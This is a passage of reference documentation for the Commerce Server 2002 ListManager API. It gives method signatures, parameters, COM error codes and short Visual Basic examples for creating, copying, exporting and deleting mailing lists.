&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C40001C | Cannot copy a list over itself.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

The result list must exist prior to calling the method; however, any data in the list will be overwritten.

The flags attribute of the destination list is replaced with the flags attribute of the source list. The UserFlags attribute is not changed.

[Visual Basic .NET]

Example

' pvarOdID is an Object
oListManager.Copy ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", 1, pvarOpID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateEmpty Method (PIA)

Use this method to create an empty list for subsequent operations.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateEmpty(
 listName As String,
 listDesc As String,
 flags As Integer,
 userFlags As Integer
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateEmpty(
 string listName,
 string listDesc,
 int flags,
 int userFlags
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the new list.
listDesc
A String that provides a description for the new list.
flags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
[C#]
listName
A string that provides the name for the new list.
listDesc
A string that provides a description for the new list.
flags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method is useful for creating an empty list to use as the result list for a copy, subtract, or union operation.

For a list of possible values for the flags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateEmpty("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateFromDWCalc Method (PIA)

Use this method to create a list from an Analysis report.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromDWCalc(
 listName As String,
 listDesc As String,
 lFlags As Integer,
 userFlags As Integer,
 DWConnStr As String,
 OLAPConnStr As String,
 ReportStatusId As String,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromDWCalc(
 string listName,
 string listDesc,
 int lFlags,
 int userFlags,
 string DWConnStr,
 string OLAPConnStr,
 string ReportStatusId,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the new list.
listDesc
A String that provides a description for the new list.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
DWConnStr
A String that contains the connection string for the Data Warehouse.
OLAPConnStr
A String that contains the OLAP connection string.
ReportStatusId
A String that contains the ReportStatusID of the report to be imported.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the new list.
listDesc
A string that provides a description for the new list.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
DWConnStr
A string that contains the connection string for the Data Warehouse.
OLAPConnStr
A string that contains the OLAP connection string.
ReportStatusId
A string that contains the ReportStatusID of the report to be imported.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400017 | Unable to create the object.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C40000B | The operation was canceled.
&H8C40001A | The report rendering object failed during Analysis report export to List Manager. See the Application event log message logged by that object describing the problem.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400017 | Unable to create the object.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C40000B | The operation was canceled.
0x8C40001A | The report rendering object failed during Analysis report export to List Manager. See the Application event log message logged by that object describing the problem.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method calls into the ReportRender object, passing it the DWConnStr, OLAPConnStr, and ReportStatusId parameters along with a connection string to the database used by the ListManager object, and the table name that it should create.

For a list of possible values for the lflags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateFromDWCalc("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "URL=mscop:" & _
 "//InProcConnect/Server=myserver:Database=dbname:" & _
 "Catalog=DWSchema:  Trusted_Connection=Yes:FastLoad=True", _
 "2B54480041694C4987131B794078B4C9", 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateFromFile Method (PIA)

Use this method to create a list from a text file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromFile(
 listName As String,
 listDesc As String,
 lFlags As Integer,
 userFlags As Integer,
 fileName As String,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromFile(
 string listName,
 string listDesc,
 int lFlags,
 int userFlags,
 string fileName,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the new list.
listDesc
A String that provides a description for the new list.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
fileName
A String that contains the name of the file from which to create the new list.
errLimit
An Integer that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the new list.
listDesc
A string that provides a description for the new list.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
fileName
A string that contains the name of the file from which to create the new list.
errLimit
An int that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

[Visual Basic .NET]

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C40000A | The specified file path is not valid.
&H8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
&H8C400015 | The specified file does not exist.
&H8C400016 | The network share does not exist and a full path was not specified for the file.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40001B | All rows in the file contained parse errors. List import failed.
&H8C400014 | Generic lists may not be imported from files.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C40000A | The specified file path is not valid.
0x8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
0x8C400015 | The specified file does not exist.
0x8C400016 | The network share does not exist and a full path was not specified for the file.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40001B | All rows in the file contained parse errors. List import failed.
0x8C400014 | Generic lists may not be imported from files.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

If a list with the same name as the listName parameter already exists, the method fails. Lists imported from text files may not be generic lists; they are always mailing lists.

The user account that the ListManager is configured to run under must have permission to access the file. For example, if the file is on a network share, the service must be running under a domain account or must otherwise have permission to access the share.

If an absolute file path and name is not specified, ListManager will look for the file relative to a root folder named CommerceLists on the local computer running the List Manager service. If the folder does not exist, an error is returned.

ListManager recognizes the following input text file format:

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

Mail-to address is the only required field. The Message Format field should be one of the following: 1 = text, 2 = MIME, or 3 = MHTML. The Message Format, Locale, and Source fields are provided for use with Direct Mailer.

Any of the fields may be enclosed in double quotation marks. This is required if the value in the field contains any comma or double quotation mark characters. Two double quotation marks together within a quoted field can be used to denote a double quotation mark. A trailing comma will produce an error.

For a list of possible values for the lflags parameter, see the GetListFlags method.

Rows with duplicate e-mail addresses in the file are ignored.

The parameter pvarOpID contains valid data only if the creation operation is performed asynchronously.

Example

' oListID is an Object
oListID = oListManager.CreateFromFile("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "Tequilla.csv", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.CreateFromSegment Method (PIA)

Use this method to create a list from a Predictor resource segment.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromSegment(
  listName As String,
  listDesc As String,
  lFlags As Integer,
  userFlags As Integer,
  modelName As String,
  segmentName As String,
  predHostName As String,
  DWConnStr As String,
  fpMinProbability As Double,
  bAsync As Integer,
  Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromSegment(
  string listName,
  string listDesc,
  int lFlags,
  int userFlags,
  string modelName,
  string segmentName,
  string predHostName,
  string DWConnStr,
  double fpMinProbability,
  int bAsync,
  ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that contains provides the name for the list.
listDesc
A String that contains the list description.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
modelName
A String that contains the name of the Predictor segment model to use.
segmentName
A String that contains the name of the segment to import.
predHostName
A String that contains the name of the Predictor host server.
DWConnStr
A String that contains the Data Warehouse connection string.
fpMinProbability
A Double that contains the minimum probability associated with a given segment member for that member to be included in the list.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the list.
listDesc
A string that contains the list description.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
modelName
A string that contains the name of the Predictor segment model to use.
segmentName
A string that contains the name of the segment to import.
predHostName
A string that contains the name of the Predictor host server.
DWConnStr
A string that contains the Data Warehouse connection string.
fpMinProbability
A double that contains the minimum probability associated with a given segment member for that member to be included in the list.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object used to return the new list ID.

[C#] This method returns a reference to an object used to return the new list ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400017 | Unable to create the object.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400017 | Unable to create the object.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method calls into the PredictorServiceSiteAdmin object, passing it the modelName, segmentName, and fpMinProbability parameters along with a connection string to the database used by the ListManager object, and the table name that it should create.

For a list of possible values for the lflags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateFromSegment("TequillaBuyers", _
 "Thirty year old tequilla buyers ", 20, 0, "Tequilla", "Thirty", _
 "TequillaServer", "Provider=SQLOLEDB;Data Source=servername;" & _
 "Initial Catalog=Retail_dw;Integrated Security='SSPI';", 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.GetListFlags


ListManager.CreateFromSql Method (PIA)

Use this method to create a list from an SQL query.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function CreateFromSql(
 listName As String,
 listDesc As String,
 lFlags As Integer,
 userFlags As Integer,
 connStr As String,
 queryStr As String,
 errLimit As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object CreateFromSql(
 string listName,
 string listDesc,
 int lFlags,
 int userFlags,
 string connStr,
 string queryStr,
 int errLimit,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listName
A String that provides the name for the list.
listDesc
A String that provides a description for the list.
lFlags
An Integer that specifies the bitmask flags that control the type of list created.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
connStr
A String that contains the connection string for the SQL Server database.
queryStr
A String that contains the SQL query for retrieving the contents of the new list.
errLimit
An Integer that is not used.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listName
A string that provides the name for the list.
listDesc
A string that provides a description for the list.
lFlags
An int that specifies the bitmask flags that control the type of list created.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
connStr
A string that contains the connection string for the SQL Server database.
queryStr
A string that contains the SQL query for retrieving the contents of the new list.
errLimit
An int that is not used.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400005 | Invalid flags value.
&H8C400007 | The specified list has already been created.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400005 | Invalid flags value.
0x8C400007 | The specified list has already been created.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method has been rewritten for Commerce Server 2002 Service Pack 1 to increase accuracy. This change may result in decreased performance due to the rewriting of the method.

For a list of possible values for the lflags parameter, see the GetListFlags method.

[Visual Basic .NET]

Example

' oListID is an Object
oListID = oListManager.CreateFromSql("LegalTequillaBuyers", _
 "Tequilla buyers at least 21", 20, 0, "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'", "SELECT * FROM dbname.dbo.Tequilla " & _
 "WHERE Age >= 21", 10, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.Delete Method (PIA)

Use this method to delete a list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Delete(
 listID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Delete(
 object listID
);

Parameters

[Visual Basic .NET]
listID
An Object that specifies the ID or name of the list to be deleted.
[C#]
listID
An object that specifies the ID or name of the list to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400008 | The specified list is currently busy with another operation.
&H8C400006 | The specified list does not exist.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400008 | The specified list is currently busy with another operation.
0x8C400006 | The specified list does not exist.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

To be deleted, a list cannot be busy with any operation.

The list data is also deleted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.ExportToFile Method (PIA)

Use this method to export a Mailing list to a text file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub ExportToFile(
 listID As Object,
 fileName As String,
 bUnicode As Integer,
 bOverwrite As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void ExportToFile(
 object listID,
 string fileName,
 int bUnicode,
 int bOverwrite,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list to be exported.
fileName
A String that contains the name of the file.
bUnicode
An Integer that specifies the character format of the export file. A value of 1 indicates that Unicode characters should be used. A value of 0 indicates that the current system character set should be used.
bOverwrite
An Integer that specifies whether to overwrite the data in the export file, if it exists. A value of 1 indicates that the data should be overwritten. A value of 0 causes the method to fail if the file exists.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
listID
An object that contains the ID or name of the list to be exported.
fileName
A string that contains the name of the file.
bUnicode
An int that specifies the character format of the export file. A value of 1 indicates that Unicode characters should be used. A value of 0 indicates that the current system character set should be used.
bOverwrite
An int that specifies whether to overwrite the data in the export file, if it exists. A value of 1 indicates that the data should be overwritten. A value of 0 causes the method to fail if the file exists.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C40000A | The specified file path is not valid.
&H8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
&H8C400010 | The specified file cannot be created because it already exists.
&H8C400016 | The network share does not exist and a full path was not specified for the file.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C40000A | The specified file path is not valid.
0x8C400009 | The List Manager service does not have permission to open the specified file. Check the permissions for the List Manager service account against the permissions for the file.
0x8C400010 | The specified file cannot be created because it already exists.
0x8C400016 | The network share does not exist and a full path was not specified for the file.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

If the list is a Mailable list but not a Mailing list, a temporary Mailing list is created and then exported.

If an absolute file path and name are not specified, ListManager exports the file relative to a root folder named CommerceLists on the local computer running the ListManager resource. If the folder does not exist, an error is returned.

ListManager exports the file in the following format. The is Message Format field is an integer, all other fields are strings and enclosed in double quotation marks.

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

[Visual Basic .NET]

Example

oListManager.ExportToFile ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Tequila.csv", 0, 1, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class


ListManager.ExportToSql Method (PIA)

Use this method to export a list to the specified table in a Microsoft SQL Server database. This operation can be performed synchronously or asynchronously.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub ExportToSql(
 listID As Object,
 connStr As String,
 resTable As String,
 bOverwrite As Integer,
 lOptions As Integer,
 bAsync As Integer,
 Optional ByRef pvarOpID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void ExportToSql(
 object listID,
 string connStr,
 string resTable,
 int bOverwrite,
 int lOptions,
 int bAsync,
 ref object pvarOpID
);

Parameters

[Visual Basic .NET]
listID
An Object that contains the ID or name of the list to be exported.
connStr
A String that contains the connection string for the SQL Server database.
resTable
A String that contains the name of the table into which the list will be exported.
bOverwrite
An Integer that specifies whether to overwrite the data in the table if the table already exists. A value of 1 indicates that the data should be overwritten. A value of 0 produces an error if the tables already exist.
lOptions
An Integer that specifies the export options, for use by the Direct Mail resource. Other applications should generally pass the value 0. A value of 1 causes special action to be taken. See the Remarks section below.
bAsync
An Integer that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
An optional Object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C#]
listID
An object that contains the ID or name of the list to be exported.
connStr
A string that contains the connection string for the SQL Server database.
resTable
A string that contains the name of the table into which the list will be exported.
bOverwrite
An int that specifies whether to overwrite the data if the table already exists. A value of 1 indicates that the data should be overwritten. A value of 0 produces an error if the tables already exist.
lOptions
An int that specifies the export options for use by the Direct Mail resource. Other applications should generally pass the value 0. A value of 1 causes special action to be taken. See the Remarks section below.
bAsync
An int that specifies whether the creation operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing. A value of 0 indicates synchronous processing.
pvarOpID
A reference to an object used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400001 | Failed to establish database connection.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000F | The specified table cannot be created because it already exists.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400001 | Failed to establish database connection.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000B | The operation was canceled.
0x8C400003 | Error while executing SQL/ADO operation.
0x8C40000F | The specified table cannot be created because it already exists.
0x80040007 | The ListManager object has not been properly initialized.

Remarks

This method has been rewritten for Commerce Server 2002 Service Pack 1 to increase accuracy. This change may result in decreased performance due to the rewriting of the method.

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

The lOptions parameter specifies whether the exported list is intended for use with Direct Mailer, controlling how it is processed during the export. The following table shows the legal values of the IOptions parameter.

lOptions Value | Description
0 | Do not do any special processing for Direct Mailer.
1 | Export the list for use with Direct Mailer. The list must be a Mailable list or an error is returned. If the list is not a Mailing list, it is converted to one.
[Visual Basic .NET]

Example

oListManager.ExportToSql ("{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Provider=sqloledb;Data Source=TequillaServer;" & _
 "Initial Catalog=Margaritas;Integrated Security='SSPI'", _
 "Tequila", 0, 0, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: listmanagerlib (in listmanagerlib.dll)

See Also

ListManager Class

ListManager.ExtractMailingList


ListManager.ExtractMailingList Method (PIA)

Use this method to create a new Mailing list from a Generic list.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function ExtractMailingList(
  srcList As Object,
  reslistName As String,
  reslistDesc As String,
  userFlags As Integer,
  bAsync As Integer,
  Optional ByRef pvarOpID As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object ExtractMailingList(
  object srcList,
  string reslistName,
  string reslistDesc,
  int userFlags,
  int bAsync,
  ref object pvarOpID
);

Parameters

[Visual Basic .NET]
srcList
An Object that contains the ID or name of the generic source list.
reslistName
A String that contains the new mailing list name.
reslistDesc
A String that contains the description of the new mailing list.
userFlags
An Integer that contains application-specific user flags. Not used by the ListManager object.
bAsync
An Integer that specifies whether the export operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
An optional Object used to return an Operation ID.
[C#]
srcList
An object that contains the ID or name of the generic source list.
reslistName
A string that contains the new mailing list name.
reslistDesc
A string that contains the description of the new mailing list.
userFlags
An int that contains application-specific user flags. Not used by the ListManager object.
bAsync
An int that specifies whether the export operation is performed synchronously or asynchronously. A value of 1 indicates asynchronous processing.
pvarOpID
A reference to an object used to return an Operation ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the ID of the new list.

[C#] This method returns a reference to an object used to return the ID of the new list.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8C400007 | The specified list has already been created.
&H8C400008 | The specified list is currently busy with another operation.
&H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
&H8C400006 | The specified list does not exist.
&H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
&H8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
&H8C40000B | The operation was canceled.
&H8C400003 | Error while executing SQL/ADO operation.
&H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
&H80040007 | The ListManager object has not been properly initialized.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0x8C400007 | The specified list has already been created.
0x8C400008 | The specified list is currently busy with another operation.
0x8C40001D | The specified list is in a FAILED state and may not be used for the operation.
0x8C400006 | The specified list does not exist.
0x8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
0x8C400011 | The operation requires a Mailable list and the specified list is not a Mailable list.
0x8C40000B | The operation was canceled.
